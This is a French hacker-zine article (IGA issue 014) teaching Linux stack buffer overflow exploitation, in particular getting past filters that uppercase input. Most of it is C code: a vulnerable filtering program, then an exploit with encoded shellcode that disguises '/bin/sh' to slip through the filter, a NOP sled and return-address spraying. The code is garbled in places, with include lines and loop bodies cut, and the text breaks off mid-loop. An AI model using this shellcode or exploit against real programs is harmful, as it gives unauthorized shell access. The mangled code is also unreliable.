,---------------------------------------------------------------------------------, | [014] | | buffer overflow 2.1 | : so called : ; un autre article a suivre : , . . Si vous êtes un lecteur habitué des zines IGA et bien vous vous demandez probablement pourquoi un autre article sur les buffer overflows il y en n'a déjà eu dans le zines précédents. Eh bien les autres articles on surtout été axée sur windoze donc j'ai eu envie d'en faire un pour linux . Commençons par ce que vous devez savoir avant de continuer (pas obliger mais ca facilite la tâche) : - vous devez avoir lu le texte de __2 (#10) et de _rix(#11) sur les buffer overflow ce que vous avez probablement déjà fait vu votre admiration pour les zines IGA - connaitre le C et l'assembleur - un peu de connaissances Linux - une tête sur les épaules Ce texte n'expliqueras pas en détails exactement quoi faire mais donneras des exemples sur certain techniques pour aider a exploiter des buffers overflows sous linux. Vous n'avez qu'a expérimenter par vous mêmes pour apprendre le reste. 1-Comment passer le filtrage Certains programmes sous linux utilise dans leur code pour prévenir les buffers overflow une technique qui consiste a filtrer certains caractères ou qui les remplaces par d'autres afin de rendre plus compliquer la réalisation de votre plan démoniaque qui est le "stack smashing". Voici un exemple de code de filtrage qui convertit les minuscules en majuscules ( vraiment basic ) --- snip -------------------------------------------------- #include #include int main(int argc,int **argv) { char buffer[1024]; int i; if(argc>1) { for(i=0;i #include #define ALIGN 0 #define OFFSET 0 #define RET_POSITION 1024 #define RANGE 20 #define NOP 0x90 /* notre code de tantot */ char shellcode[]= "\xeb\x38" /* jmp 0x38 */ "\x5e" /* popl %esi */ "\x80\x46\x01\x50" /* addb $0x50,0x1(%esi) */ "\x80\x46\x02\x50" /* addb $0x50,0x2(%esi) */ "\x80\x46\x03\x50" /* addb $0x50,0x3(%esi) */ "\x80\x46\x05\x50" /* addb $0x50,0x5(%esi) */ "\x80\x46\x06\x50" /* addb $0x50,0x6(%esi) */ "\x89\xf0" /* movl %esi,%eax */ "\x83\xc0\x08" /* addl $0x8,%eax */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %eax,0x7(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xd8" /* movl %ebx,%eax */ "\x40" /* inc %eax */ "\xcd\x80" /* int $0x80 */ "\xe8\xc3\xff\xff\xff" /* call -0x3d */ "\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh" */ /* /bin/sh est déguisé */ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } main(int argc,char **argv) { char buff[RET_POSITION+RANGE+ALIGN+1],*ptr; long addr; unsigned long sp; int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1; int i; if(argc>1) offset=atoi(argv[1]); sp=get_sp(); addr=sp-offset; for(i=0;i>8; buff[i+ALIGN+2]=(addr&0x00ff0000)>>16; buff[i+ALIGN+3]=(addr&0xff000000)>>24; } for(i=0;i